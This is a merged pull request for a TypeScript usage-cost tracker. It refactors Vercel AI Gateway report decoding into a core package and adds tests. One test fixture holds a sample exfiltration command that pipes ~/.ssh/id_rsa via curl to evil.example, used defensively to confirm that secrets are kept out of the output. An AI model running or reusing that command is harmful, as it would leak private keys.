Merge pull request #842 from getagentseal/phase8/vercel-gateway

refactor(core): vercel-gateway decode into core, report fetch host-side (phase 8, network special)
This commit is contained in:
Resham Joshi 2026-07-27 09:43:28 -07:00 committed by GitHub
commit d8ea608f8d
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
10 changed files with 787 additions and 46 deletions

View file

@ -1,21 +1,11 @@
import type { DateRange } from '../types.js'
import type { Provider, SessionSource, SessionParser, ParsedProviderCall } from './types.js'
import { decodeVercelGateway } from '@codeburn/core/providers/vercel-gateway'
import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from '@codeburn/core/providers/vercel-gateway'
import { fetchWithTimeout } from '../fetch-utils.js'
const REPORT_URL = 'https://ai-gateway.vercel.sh/v1/report'
type ReportRow = {
day?: string
model?: string
total_cost?: number
input_tokens?: number
output_tokens?: number
cached_input_tokens?: number
cache_creation_input_tokens?: number
reasoning_tokens?: number
request_count?: number
}
export function getVercelGatewayApiKey(): string | null {
const key = process.env['AI_GATEWAY_API_KEY'] ?? process.env['VERCEL_OIDC_TOKEN']
return key?.trim() ? key.trim() : null
@ -30,7 +20,7 @@ function formatUtcDate(d: Date): string {
export async function fetchVercelGatewayReport(
dateRange: DateRange,
): Promise<ReportRow[]> {
): Promise<VercelGatewayReportRow[]> {
const key = getVercelGatewayApiKey()
if (!key) return []
@ -60,7 +50,7 @@ export async function fetchVercelGatewayReport(
return []
}
const body = (await res.json()) as { results?: ReportRow[] }
const body = (await res.json()) as { results?: VercelGatewayReportRow[] }
return body.results ?? []
} catch (err) {
process.stderr.write(
@ -70,6 +60,37 @@ export async function fetchVercelGatewayReport(
}
}
// Map one rich core call into the host's ParsedProviderCall. Unlike the
// token-priced providers this one carries the gateway's own dollar figure, so
// `costUSD` passes through verbatim and no `costBasis` key is emitted — that is
// what makes parser.ts leave the value alone instead of repricing it.
function toProviderCall(rich: VercelGatewayDecodedCall, project: string): ParsedProviderCall {
return {
provider: 'vercel-gateway',
model: rich.model,
inputTokens: rich.inputTokens,
outputTokens: rich.outputTokens,
cacheCreationInputTokens: rich.cacheCreationInputTokens,
cacheReadInputTokens: rich.cacheReadInputTokens,
cachedInputTokens: rich.cachedInputTokens,
reasoningTokens: rich.reasoningTokens,
webSearchRequests: rich.webSearchRequests,
costUSD: rich.costUSD,
tools: [],
bashCommands: [],
timestamp: rich.timestamp,
speed: rich.speed,
deduplicationKey: rich.deduplicationKey,
userMessage: '',
sessionId: rich.sessionId,
project,
}
}
// Bespoke adapter rather than createBridgedProvider: the records come from an
// authenticated HTTP report scoped to the scan's date range, which the bridge's
// readRecords never receives. Fetching, auth, the stderr warnings, and the
// no-date-range gate stay here; core owns only the row -> call decode.
function createParser(
source: SessionSource,
seenKeys: Set<string>,
@ -80,38 +101,9 @@ function createParser(
if (!dateRange) return
const rows = await fetchVercelGatewayReport(dateRange)
for (const row of rows) {
const day = row.day ?? ''
const model = row.model ?? 'unknown'
const costUSD = row.total_cost ?? 0
const inputTokens = row.input_tokens ?? 0
const outputTokens = row.output_tokens ?? 0
if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue
const deduplicationKey = `vercel-gateway:${day}:${model}`
if (seenKeys.has(deduplicationKey)) continue
seenKeys.add(deduplicationKey)
yield {
provider: 'vercel-gateway',
model,
inputTokens,
outputTokens,
cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0,
cacheReadInputTokens: row.cached_input_tokens ?? 0,
cachedInputTokens: 0,
reasoningTokens: row.reasoning_tokens ?? 0,
webSearchRequests: 0,
costUSD,
tools: [],
bashCommands: [],
timestamp: day ? `${day}T12:00:00.000Z` : '',
speed: 'standard',
deduplicationKey,
userMessage: '',
sessionId: `${day}:${model}`,
project: source.project,
}
const { calls } = decodeVercelGateway({ records: rows, seenKeys })
for (const rich of calls) {
yield toProviderCall(rich, source.project)
}
},
}

View file

@ -0,0 +1,309 @@
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
import { vercelGateway } from '../../src/providers/vercel-gateway.js'
const source = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const }
function sortedKeys(obj: object): string[] {
return Object.keys(obj).sort()
}
const expectedKeys = [
'bashCommands',
'cacheCreationInputTokens',
'cacheReadInputTokens',
'cachedInputTokens',
'costUSD',
'deduplicationKey',
'inputTokens',
'model',
'outputTokens',
'project',
'provider',
'reasoningTokens',
'sessionId',
'speed',
'timestamp',
'tools',
'userMessage',
'webSearchRequests',
]
describe('vercel-gateway bridge golden (unmodified provider)', () => {
const originalFetch = globalThis.fetch
const originalKey = process.env.AI_GATEWAY_API_KEY
beforeEach(() => {
process.env.AI_GATEWAY_API_KEY = 'test-key'
})
afterEach(() => {
globalThis.fetch = originalFetch
if (originalKey === undefined) delete process.env.AI_GATEWAY_API_KEY
else process.env.AI_GATEWAY_API_KEY = originalKey
vi.restoreAllMocks()
})
const range = {
start: new Date('2026-06-01T00:00:00.000Z'),
end: new Date('2026-06-07T23:59:59.999Z'),
}
it('maps a normal multi-row report verbatim', async () => {
globalThis.fetch = vi.fn(async () => ({
ok: true,
json: async () => ({
results: [
{
day: '2026-06-01',
model: 'anthropic/claude-sonnet-4.6',
total_cost: 1.25,
input_tokens: 1000,
output_tokens: 200,
cached_input_tokens: 50,
cache_creation_input_tokens: 10,
reasoning_tokens: 5,
request_count: 3,
},
{
day: '2026-06-02',
model: 'openai/gpt-4o',
total_cost: 0.75,
input_tokens: 500,
output_tokens: 100,
request_count: 1,
},
],
}),
})) as typeof fetch
const calls: unknown[] = []
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
calls.push(call)
}
expect(calls).toHaveLength(2)
expect(calls[0]).toStrictEqual({
provider: 'vercel-gateway',
model: 'anthropic/claude-sonnet-4.6',
inputTokens: 1000,
outputTokens: 200,
cacheCreationInputTokens: 10,
cacheReadInputTokens: 50,
cachedInputTokens: 0,
reasoningTokens: 5,
webSearchRequests: 0,
costUSD: 1.25,
tools: [],
bashCommands: [],
timestamp: '2026-06-01T12:00:00.000Z',
speed: 'standard',
deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6',
userMessage: '',
sessionId: '2026-06-01:anthropic/claude-sonnet-4.6',
project: 'Vercel AI Gateway',
})
expect(calls[1]).toStrictEqual({
provider: 'vercel-gateway',
model: 'openai/gpt-4o',
inputTokens: 500,
outputTokens: 100,
cacheCreationInputTokens: 0,
cacheReadInputTokens: 0,
cachedInputTokens: 0,
reasoningTokens: 0,
webSearchRequests: 0,
costUSD: 0.75,
tools: [],
bashCommands: [],
timestamp: '2026-06-02T12:00:00.000Z',
speed: 'standard',
deduplicationKey: 'vercel-gateway:2026-06-02:openai/gpt-4o',
userMessage: '',
sessionId: '2026-06-02:openai/gpt-4o',
project: 'Vercel AI Gateway',
})
for (const call of calls) {
expect(sortedKeys(call as object)).toStrictEqual(expectedKeys)
expect(call).not.toHaveProperty('costBasis')
}
})
it('skips all-zero rows BEFORE burning a dedup key', async () => {
globalThis.fetch = vi.fn(async () => ({
ok: true,
json: async () => ({
results: [
{ day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0, input_tokens: 0, output_tokens: 0 },
{ day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
],
}),
})) as typeof fetch
const seen = new Set<string>()
const calls: unknown[] = []
for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) {
calls.push(call)
}
expect(calls).toHaveLength(1)
expect((calls[0] as { costUSD: number }).costUSD).toBe(0.5)
expect(seen.has('vercel-gateway:2026-06-03:skip-before-dedup')).toBe(true)
})
it('second pass with a shared seenKeys yields nothing', async () => {
globalThis.fetch = vi.fn(async () => ({
ok: true,
json: async () => ({
results: [{ day: '2026-06-04', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }],
}),
})) as typeof fetch
const seen = new Set<string>(['vercel-gateway:2026-06-04:dup'])
const calls: unknown[] = []
for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) {
calls.push(call)
}
expect(calls).toStrictEqual([])
expect(seen.has('vercel-gateway:2026-06-04:dup')).toBe(true)
})
it('missing day keeps timestamp empty', async () => {
globalThis.fetch = vi.fn(async () => ({
ok: true,
json: async () => ({
results: [{ model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }],
}),
})) as typeof fetch
const calls: unknown[] = []
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
calls.push(call)
}
expect(calls).toHaveLength(1)
expect(calls[0]).toStrictEqual({
provider: 'vercel-gateway',
model: 'no-day',
inputTokens: 10,
outputTokens: 5,
cacheCreationInputTokens: 0,
cacheReadInputTokens: 0,
cachedInputTokens: 0,
reasoningTokens: 0,
webSearchRequests: 0,
costUSD: 0.5,
tools: [],
bashCommands: [],
timestamp: '',
speed: 'standard',
deduplicationKey: 'vercel-gateway::no-day',
userMessage: '',
sessionId: ':no-day',
project: 'Vercel AI Gateway',
})
})
it('missing model defaults to unknown', async () => {
globalThis.fetch = vi.fn(async () => ({
ok: true,
json: async () => ({
results: [{ day: '2026-06-05', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }],
}),
})) as typeof fetch
const calls: unknown[] = []
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
calls.push(call)
}
expect(calls).toHaveLength(1)
expect((calls[0] as { model: string }).model).toBe('unknown')
expect((calls[0] as { sessionId: string }).sessionId).toBe('2026-06-05:unknown')
expect((calls[0] as { deduplicationKey: string }).deduplicationKey).toBe('vercel-gateway:2026-06-05:unknown')
expect(sortedKeys(calls[0] as object)).toStrictEqual(expectedKeys)
})
it('warns on a non-ok report and yields nothing', async () => {
globalThis.fetch = vi.fn(async () => ({
ok: false,
status: 403,
text: async () => 'forbidden detail',
})) as unknown as typeof fetch
const writes: string[] = []
vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => {
writes.push(String(chunk))
return true
})
const calls: unknown[] = []
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
calls.push(call)
}
expect(calls).toStrictEqual([])
expect(writes).toStrictEqual([
'codeburn: Vercel AI Gateway report failed (HTTP 403). ' +
'Requires AI_GATEWAY_API_KEY or VERCEL_OIDC_TOKEN (Pro/Enterprise for /v1/report). ' +
'forbidden detail\n',
])
})
it('warns when the report is unreachable and yields nothing', async () => {
globalThis.fetch = vi.fn(async () => {
throw new Error('getaddrinfo ENOTFOUND ai-gateway.vercel.sh')
}) as unknown as typeof fetch
const writes: string[] = []
vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => {
writes.push(String(chunk))
return true
})
const calls: unknown[] = []
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
calls.push(call)
}
expect(calls).toStrictEqual([])
expect(writes).toStrictEqual([
'codeburn: Vercel AI Gateway report unreachable (getaddrinfo ENOTFOUND ai-gateway.vercel.sh).\n',
])
})
it('no dateRange yields nothing', async () => {
globalThis.fetch = vi.fn(async () => ({
ok: true,
json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
})) as typeof fetch
const fetchSpy = vi.fn(async () => ({
ok: true,
json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
})) as unknown as typeof fetch
globalThis.fetch = fetchSpy
const calls: unknown[] = []
for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), undefined).parse()) {
calls.push(call)
}
expect(calls).toStrictEqual([])
expect(fetchSpy).not.toHaveBeenCalled()
})
// The discovered source is shared across the scan; parsing must not stash
// per-run state (e.g. a date range) on it.
it('does not mutate the discovered source', async () => {
globalThis.fetch = vi.fn(async () => ({
ok: true,
json: async () => ({ results: [{ day: '2026-06-07', model: 'm', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
})) as typeof fetch
const fresh = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const }
const before = Reflect.ownKeys(fresh)
for await (const _call of vercelGateway.createSessionParser(fresh, new Set<string>(), range).parse()) {
// drain
}
expect(Reflect.ownKeys(fresh)).toStrictEqual(before)
expect(fresh).toStrictEqual({ path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' })
})
})

View file

@ -166,6 +166,10 @@
"./providers/kiro": {
"types": "./dist/providers/kiro/index.d.ts",
"import": "./dist/providers/kiro/index.js"
},
"./providers/vercel-gateway": {
"types": "./dist/providers/vercel-gateway/index.d.ts",
"import": "./dist/providers/vercel-gateway/index.js"
}
},
"files": [

View file

@ -0,0 +1,70 @@
// @codeburn/core Vercel AI Gateway decoder: pure decode over the day×model
// aggregate rows the host fetched from the `/v1/report` API. No fs / env /
// clock / network — the host owns authentication, the HTTP request, the stderr
// warning, and the date-range gate. The decoder only maps rows to calls and
// threads the shared cross-file dedup set.
import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js'
export type VercelGatewayDecodeInput = {
records: unknown[]
// Optional live dedup set the host mutates in place (its shared cross-file
// seenKeys). Simple report providers never persist resume state.
seenKeys?: Set<string>
}
export type VercelGatewayDecodeResult = {
calls: VercelGatewayDecodedCall[]
}
/**
* Decode Vercel AI Gateway report rows into rich, cost-carrying calls. The row
* mapping matches the original host-side parser verbatim:
* - day/model/cost defaults
* - all-zero rows are skipped BEFORE dedup key burn
* - dedup key `vercel-gateway:<day>:<model>` with add-after-skip semantics
* - timestamp synthesized as `${day}T12:00:00.000Z`
* - sessionId synthesized as `${day}:${model}`
*/
export function decodeVercelGateway(input: VercelGatewayDecodeInput): VercelGatewayDecodeResult {
const { records, seenKeys: liveSeen } = input
const seen = liveSeen ?? new Set<string>()
const calls: VercelGatewayDecodedCall[] = []
for (const raw of records) {
const row = raw as VercelGatewayReportRow
const day = row.day ?? ''
const model = row.model ?? 'unknown'
const costUSD = row.total_cost ?? 0
const inputTokens = row.input_tokens ?? 0
const outputTokens = row.output_tokens ?? 0
// Verbatim from the original parser: drop rows that report no usage and no
// cost before touching the dedup set, so an all-zero row does not burn its
// key and block a later non-zero row for the same day×model.
if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue
const deduplicationKey = `vercel-gateway:${day}:${model}`
if (seen.has(deduplicationKey)) continue
seen.add(deduplicationKey)
calls.push({
provider: 'vercel-gateway',
model,
inputTokens,
outputTokens,
cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0,
cacheReadInputTokens: row.cached_input_tokens ?? 0,
cachedInputTokens: 0,
reasoningTokens: row.reasoning_tokens ?? 0,
webSearchRequests: 0,
costUSD,
timestamp: day ? `${day}T12:00:00.000Z` : '',
speed: 'standard',
deduplicationKey,
sessionId: `${day}:${model}`,
})
}
return { calls }
}

View file

@ -0,0 +1,12 @@
// @codeburn/core Vercel AI Gateway provider.
//
// Two layers:
// - Rich pure decode (`decodeVercelGateway`): host-facing, NOT part of the
// stable minimized surface. Pure over supplied report rows; carries the
// provider-reported dollar cost but no free text.
// - Minimizing transform (`toObservations`): maps the rich decode into the
// strict observation envelope; the content-smuggling guarantees bind here.
export { decodeVercelGateway, type VercelGatewayDecodeInput, type VercelGatewayDecodeResult } from './decode.js'
export { toObservations, type RichVercelGatewaySessionDecode, type VercelGatewayToObservationsContext } from './observations.js'
export type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js'

View file

@ -0,0 +1,98 @@
// Minimizing transform: rich Vercel AI Gateway decode -> the strict observation
// envelope. This is where the content-smuggling guarantees bind.
//
// Vercel Gateway reports contain no free-text user content. The only string
// fields that cross into the envelope are machine identifiers:
// - `provider` and `model` are emitted by design under the identifier-exemption
// convention (see architecture-gate.test.ts MACHINE_ID_ALLOWLIST).
// - `day` is an API-supplied calendar date. It IS emitted, verbatim, inside the
// synthesized timestamp and the dedup key. The envelope's `format: date-time`
// constraint on every timestamp is what bounds it: a `day` that is not a real
// date fails envelope validation, so a hostile value cannot ship.
// No host-held user prompt, tools, bashCommands, file paths, or command lines
// exist at this layer.
import { projectRef, sessionRef } from '../../fingerprint.js'
import type { RecordDiagnostic } from '../../diagnostics.js'
import type { CallObservation, SessionObservation } from '../../observations.js'
import type { VercelGatewayDecodedCall } from './types.js'
/** One Vercel Gateway report's rich decode, as the host holds it before minimization. */
export interface RichVercelGatewaySessionDecode {
sessionId: string
/** Discovered project label (fingerprinted, never emitted raw). */
projectPath: string
/** Rich, cost-carrying calls in decode order (as decodeVercelGateway emits them). */
calls: VercelGatewayDecodedCall[]
}
export interface VercelGatewayToObservationsContext {
/** HMAC key that scopes every fingerprint. */
privacyKey: string
/** Provider id stamped onto sessions/calls and folded into sessionRef. */
provider?: string
}
function toCallObservation(call: VercelGatewayDecodedCall, turnIndex: number): CallObservation {
return {
provider: call.provider,
model: call.model,
tokens: {
input: call.inputTokens,
output: call.outputTokens,
reasoning: call.reasoningTokens,
cacheRead: call.cacheReadInputTokens,
cacheCreate: call.cacheCreationInputTokens,
},
webSearchRequests: call.webSearchRequests,
speed: call.speed,
// The provider reports a measured dollar figure directly from the API.
costBasis: 'measured',
measuredCostUSD: call.costUSD,
timestamp: call.timestamp,
dedupKey: call.deduplicationKey,
toolNames: [],
turnIndex,
}
}
function toSessionObservation(
decode: RichVercelGatewaySessionDecode,
ctx: VercelGatewayToObservationsContext,
): SessionObservation {
const provider = ctx.provider ?? 'vercel-gateway'
const calls = decode.calls.map((call, i) => toCallObservation(call, i))
const timestamps = calls.map(c => c.timestamp).filter(t => t.length > 0).sort()
const startedAt = timestamps[0] ?? ''
const endedAt = timestamps.length > 0 ? timestamps[timestamps.length - 1]! : ''
return {
sessionRef: sessionRef(ctx.privacyKey, provider, decode.sessionId),
projectRef: projectRef(ctx.privacyKey, decode.projectPath),
providerId: provider,
startedAt,
...(endedAt ? { endedAt } : {}),
calls,
turnCount: calls.length,
}
}
/**
* Map a rich Vercel Gateway decode into the minimized observation layer.
* Returns the `sessions` array plus any per-record `diagnostics` (none for this
* provider).
*
* Content-smuggling guarantee: no free text (host-held user prompt, project
* path, command, file path, tool argument) is ever copied into the result. Only
* fingerprints, enums, numbers, timestamps, dedup keys, and the API model
* identifier cross the boundary under the identifier-exemption convention.
*/
export function toObservations(
decode: RichVercelGatewaySessionDecode | RichVercelGatewaySessionDecode[],
ctx: VercelGatewayToObservationsContext,
): { sessions: SessionObservation[]; diagnostics: RecordDiagnostic[] } {
const decodes = Array.isArray(decode) ? decode : [decode]
const sessions = decodes.map(d => toSessionObservation(d, ctx))
return { sessions, diagnostics: [] }
}

View file

@ -0,0 +1,41 @@
// Raw record + rich-decode types for the Vercel AI Gateway provider.
//
// The record type (`VercelGatewayReportRow`) describes one day×model aggregate
// returned by the `/v1/report` API. The decoded-call type is the rich, pre-
// pricing output: it carries the provider-reported `costUSD` verbatim (a measured
// dollar figure, not an estimate) but no free-text user content.
export type VercelGatewayReportRow = {
day?: string
model?: string
total_cost?: number
input_tokens?: number
output_tokens?: number
cached_input_tokens?: number
cache_creation_input_tokens?: number
reasoning_tokens?: number
request_count?: number
}
// Rich decode of one Vercel Gateway aggregate row. Mirrors the host's
// ParsedProviderCall minus `costBasis` (the provider figure is measured, not
// estimated) and minus CLI-only fields (`project`, `tools`, `bashCommands`, and
// the host-held user prompt). No free text is captured: `day` is a calendar date
// and `model` is an API model identifier emitted under the identifier-exemption
// convention.
export type VercelGatewayDecodedCall = {
provider: 'vercel-gateway'
model: string
inputTokens: number
outputTokens: number
cacheCreationInputTokens: number
cacheReadInputTokens: number
cachedInputTokens: number
reasoningTokens: number
webSearchRequests: number
costUSD: number
timestamp: string
speed: 'standard'
deduplicationKey: string
sessionId: string
}

View file

@ -53,6 +53,7 @@ import {
decodeKiroV2Session,
toObservations as toKiroObservations,
} from '../src/providers/kiro/index.js'
import { decodeVercelGateway, toObservations as toVercelGatewayObservations } from '../src/providers/vercel-gateway/index.js'
import type { DecodeContext } from '../src/contracts.js'
import type { ZedThreadRow } from '../src/providers/zed/index.js'
import type {
@ -2077,3 +2078,75 @@ describe('content-smuggling guardrail: real kiro decode -> toObservations is sec
expect(allToolNames).not.toContain(SECRETS.commandLine)
})
})
describe('content-smuggling guardrail: real vercel-gateway decode -> toObservations is secret-free', () => {
// A hostile Vercel Gateway report planting every secret in the API fields the
// decode sees. The only free-text-capable API field is `model`; under the
// identifier-exemption convention model is an API identifier emitted by design,
// so the secret planted there is expected to remain. Every other secret must
// be absent from the envelope.
function decodeAndMinimize() {
const { calls } = decodeVercelGateway({
records: [
{
day: '2026-07-17',
model: SECRETS.prompt,
total_cost: 1.23,
input_tokens: 100,
output_tokens: 50,
},
],
})
const { sessions } = toVercelGatewayObservations(
{ sessionId: 'report-hostile', projectPath: SECRETS.absPath, calls },
{ privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
)
return {
schemaVersion: OBSERVATION_SCHEMA_VERSION,
generator: { name: '@codeburn/core', version: '0.0.0-test' },
sessions,
}
}
it('produces a schema-valid envelope from the hostile report', () => {
expect(ObservationEnvelope.safeParse(decodeAndMinimize()).success).toBe(true)
})
it('is non-vacuous (at least one call)', () => {
const env = decodeAndMinimize()
const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0)
expect(callCount).toBeGreaterThan(0)
})
it('contains the model secret (identifier-exemption convention) and no other secrets', () => {
const serialized = JSON.stringify(decodeAndMinimize())
expect(serialized).toContain(SECRETS.prompt)
expect(serialized).not.toContain(SECRETS.absPath)
expect(serialized).not.toContain(SECRETS.apiKey)
expect(serialized).not.toContain(SECRETS.commandLine)
expect(serialized).not.toContain(SECRETS.fileContent)
})
// `day` is the report's only other string field, and it is NOT sanitized: the
// decode splices it verbatim into the synthesized timestamp and the dedup key.
// The envelope's date-time constraint is the containment, not the decode — a
// hostile `day` fails validation and therefore never ships.
it('rejects the envelope when a hostile day is spliced into the timestamp', () => {
const { calls } = decodeVercelGateway({
records: [{ day: SECRETS.apiKey, model: 'openai/gpt-4o', total_cost: 1, input_tokens: 1, output_tokens: 1 }],
})
expect(calls[0]?.timestamp).toContain(SECRETS.apiKey)
const { sessions } = toVercelGatewayObservations(
{ sessionId: 'report-hostile-day', projectPath: SECRETS.absPath, calls },
{ privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
)
const parsed = ObservationEnvelope.safeParse({
schemaVersion: OBSERVATION_SCHEMA_VERSION,
generator: { name: '@codeburn/core', version: '0.0.0-test' },
sessions,
})
expect(parsed.success).toBe(false)
})
})

View file

@ -0,0 +1,141 @@
import { describe, it, expect } from 'vitest'
import { decodeVercelGateway, toObservations } from '../../src/providers/vercel-gateway/index.js'
import { ObservationEnvelope } from '../../src/observations.js'
import { OBSERVATION_SCHEMA_VERSION } from '../../src/schema.js'
describe('vercel-gateway decode', () => {
it('maps report rows to rich calls with verbatim defaults', () => {
const rows = [
{
day: '2026-06-01',
model: 'anthropic/claude-sonnet-4.6',
total_cost: 1.25,
input_tokens: 1000,
output_tokens: 200,
cached_input_tokens: 50,
cache_creation_input_tokens: 10,
reasoning_tokens: 5,
},
]
const { calls } = decodeVercelGateway({ records: rows })
expect(calls).toHaveLength(1)
expect(calls[0]).toStrictEqual({
provider: 'vercel-gateway',
model: 'anthropic/claude-sonnet-4.6',
inputTokens: 1000,
outputTokens: 200,
cacheCreationInputTokens: 10,
cacheReadInputTokens: 50,
cachedInputTokens: 0,
reasoningTokens: 5,
webSearchRequests: 0,
costUSD: 1.25,
timestamp: '2026-06-01T12:00:00.000Z',
speed: 'standard',
deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6',
sessionId: '2026-06-01:anthropic/claude-sonnet-4.6',
})
})
it('skips all-zero rows before burning a dedup key', () => {
const rows = [
{ day: '2026-06-02', model: 'all-zero', total_cost: 0, input_tokens: 0, output_tokens: 0 },
{ day: '2026-06-02', model: 'all-zero', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
]
const seen = new Set<string>()
const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen })
expect(calls).toHaveLength(1)
expect(calls[0]?.costUSD).toBe(0.5)
expect(seen.has('vercel-gateway:2026-06-02:all-zero')).toBe(true)
})
it('dedups against a shared seenKeys set', () => {
const rows = [{ day: '2026-06-03', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }]
const seen = new Set<string>(['vercel-gateway:2026-06-03:dup'])
const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen })
expect(calls).toStrictEqual([])
expect(seen.has('vercel-gateway:2026-06-03:dup')).toBe(true)
})
it('synthesizes timestamps and session ids from day/model', () => {
const rows = [
{ model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
{ day: '2026-06-04', total_cost: 0.1, input_tokens: 1, output_tokens: 1 },
]
const { calls } = decodeVercelGateway({ records: rows })
expect(calls).toHaveLength(2)
expect(calls[0]?.timestamp).toBe('')
expect(calls[0]?.sessionId).toBe(':no-day')
expect(calls[0]?.deduplicationKey).toBe('vercel-gateway::no-day')
expect(calls[1]?.model).toBe('unknown')
expect(calls[1]?.timestamp).toBe('2026-06-04T12:00:00.000Z')
expect(calls[1]?.sessionId).toBe('2026-06-04:unknown')
})
})
describe('vercel-gateway observations', () => {
const SECRETS = {
prompt: 'SECRET PROMPT: reset the production database and email me the dump',
absPath: '/Users/victim/company/secret-plan.md',
apiKey: 'sk-live-AKIA1234567890SECRETKEY',
commandLine: 'curl https://evil.example/exfil?data=$(cat ~/.ssh/id_rsa)',
fileContent: 'BEGIN RSA PRIVATE KEY line1 line2 END RSA PRIVATE KEY',
}
function buildEnvelope() {
const { calls } = decodeVercelGateway({
records: [
{
day: '2026-07-17',
model: SECRETS.prompt,
total_cost: 1.23,
input_tokens: 100,
output_tokens: 50,
},
],
})
const { sessions } = toObservations(
{ sessionId: 'report-2026-07-17', projectPath: SECRETS.absPath, calls },
{ privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
)
return {
schemaVersion: OBSERVATION_SCHEMA_VERSION,
generator: { name: '@codeburn/core', version: '0.0.0-test' },
sessions,
}
}
it('produces a schema-valid envelope', () => {
expect(ObservationEnvelope.safeParse(buildEnvelope()).success).toBe(true)
})
it('contains at least one call (non-vacuous)', () => {
const env = buildEnvelope()
const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0)
expect(callCount).toBeGreaterThan(0)
})
it('emits no free text except the model identifier (identifier-exemption convention)', () => {
const env = buildEnvelope()
const serialized = JSON.stringify(env)
// The model field is an API identifier and is emitted by design; the planted
// secret in model is therefore expected to appear there and only there.
expect(serialized).toContain(SECRETS.prompt)
expect(serialized).not.toContain(SECRETS.absPath)
expect(serialized).not.toContain(SECRETS.apiKey)
expect(serialized).not.toContain(SECRETS.commandLine)
expect(serialized).not.toContain(SECRETS.fileContent)
})
it('exposes the provider-reported cost as measured', () => {
const env = buildEnvelope()
const call = env.sessions[0]?.calls[0]
expect(call?.costBasis).toBe('measured')
expect(call?.measuredCostUSD).toBe(1.23)
})
})

View file

@ -44,6 +44,7 @@ export default defineConfig({
'src/providers/opencode-session/index.ts',
'src/providers/antigravity/index.ts',
'src/providers/kiro/index.ts',
'src/providers/vercel-gateway/index.ts',
],
format: ['esm'],
target: 'node20',